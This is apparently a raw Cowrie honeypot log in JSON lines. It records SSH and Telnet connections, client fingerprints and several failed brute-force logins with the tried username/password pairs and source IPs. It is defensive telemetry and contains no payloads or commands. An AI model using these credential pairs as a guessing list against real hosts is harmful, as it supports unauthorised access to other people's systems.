{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:03.822781Z","src_ip":"76.79.213.69","session":"4f7072ef68cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:03.914971Z","src_ip":"160.251.185.39","session":"7378d0dc4e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.7409987449646,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:04.341722Z","src_ip":"128.199.8.54","session":"e7c9a075efa1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"oleg","password":"oleg","message":"login attempt [oleg/oleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:04.367577Z","src_ip":"76.79.213.69","session":"4f7072ef68cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:05.495735Z","src_ip":"76.79.213.69","session":"4f7072ef68cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41926,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9cedfb5610","protocol":"telnet","message":"New connection: 172.81.62.90:41926 (159.203.135.109:23) [session: af9cedfb5610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:08.417380Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":41556,"dst_ip":"10.17.0.5","dst_port":22,"session":"81536a60703a","protocol":"ssh","message":"New connection: 201.17.146.173:41556 (10.17.0.5:22) [session: 81536a60703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:24.807181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:24.811583Z","src_ip":"201.17.146.173","session":"81536a60703a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1275,"dst_ip":"10.17.0.5","dst_port":22,"session":"775875f868bc","protocol":"ssh","message":"New connection: 102.88.137.80:1275 (10.17.0.5:22) [session: 775875f868bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:24.890265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:24.895902Z","src_ip":"102.88.137.80","session":"775875f868bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:24.976238Z","src_ip":"201.17.146.173","session":"81536a60703a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:25.077853Z","src_ip":"102.88.137.80","session":"775875f868bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"investor","password":"investor","message":"login attempt [investor/investor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:25.637318Z","src_ip":"201.17.146.173","session":"81536a60703a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":45130,"dst_ip":"10.17.0.5","dst_port":22,"session":"78c0c558533d","protocol":"ssh","message":"New connection: 103.27.238.120:45130 (10.17.0.5:22) [session: 78c0c558533d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:25.696382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:25.701284Z","src_ip":"103.27.238.120","session":"78c0c558533d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unidata","password":"unidata","message":"login attempt [unidata/unidata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:25.847314Z","src_ip":"102.88.137.80","session":"775875f868bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:25.967143Z","src_ip":"103.27.238.120","session":"78c0c558533d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"riddick","message":"login attempt [root/riddick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:26.769273Z","src_ip":"103.27.238.120","session":"78c0c558533d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:26.807634Z","src_ip":"201.17.146.173","session":"81536a60703a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:27.032400Z","src_ip":"102.88.137.80","session":"775875f868bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:28.038580Z","src_ip":"103.27.238.120","session":"78c0c558533d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.13337826728821,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:52.550609Z","src_ip":"172.81.62.90","session":"af9cedfb5610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33386,"dst_ip":"159.203.135.109","dst_port":22,"session":"7230121315cf","protocol":"ssh","message":"New connection: 80.66.85.226:33386 (159.203.135.109:22) [session: 7230121315cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:57.397624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:57.401667Z","src_ip":"80.66.85.226","session":"7230121315cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:57.496348Z","src_ip":"80.66.85.226","session":"7230121315cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"invisible","message":"login attempt [root/invisible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:57.779850Z","src_ip":"80.66.85.226","session":"7230121315cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:30:58.879473Z","src_ip":"80.66.85.226","session":"7230121315cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":42030,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9936ae71614","protocol":"ssh","message":"New connection: 14.63.196.175:42030 (10.17.0.5:22) [session: d9936ae71614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:09.405945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:09.412190Z","src_ip":"14.63.196.175","session":"d9936ae71614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:09.618293Z","src_ip":"14.63.196.175","session":"d9936ae71614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123123123","message":"login attempt [root/a123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:10.479771Z","src_ip":"14.63.196.175","session":"d9936ae71614","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:11.690025Z","src_ip":"14.63.196.175","session":"d9936ae71614","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":44128,"dst_ip":"10.17.0.5","dst_port":22,"session":"39072b742675","protocol":"ssh","message":"New connection: 79.104.0.82:44128 (10.17.0.5:22) [session: 39072b742675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:14.459547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:14.463807Z","src_ip":"79.104.0.82","session":"39072b742675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:14.602813Z","src_ip":"79.104.0.82","session":"39072b742675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sss","password":"sss","message":"login attempt [sss/sss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:15.191834Z","src_ip":"79.104.0.82","session":"39072b742675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1293,"dst_ip":"10.17.0.5","dst_port":22,"session":"32c47dd34128","protocol":"ssh","message":"New connection: 102.88.137.80:1293 (10.17.0.5:22) [session: 32c47dd34128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:15.730937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:15.737813Z","src_ip":"102.88.137.80","session":"32c47dd34128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:15.919921Z","src_ip":"102.88.137.80","session":"32c47dd34128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:16.335812Z","src_ip":"79.104.0.82","session":"39072b742675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy2025","message":"login attempt [deploy/deploy2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:16.679441Z","src_ip":"102.88.137.80","session":"32c47dd34128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:17.864467Z","src_ip":"102.88.137.80","session":"32c47dd34128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":48194,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dc3ba050c59","protocol":"ssh","message":"New connection: 5.89.75.194:48194 (10.17.0.5:22) [session: 8dc3ba050c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:17.911044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:31:17.917170Z","src_ip":"5.89.75.194","session":"8dc3ba050c59","protocol":"ssh"}
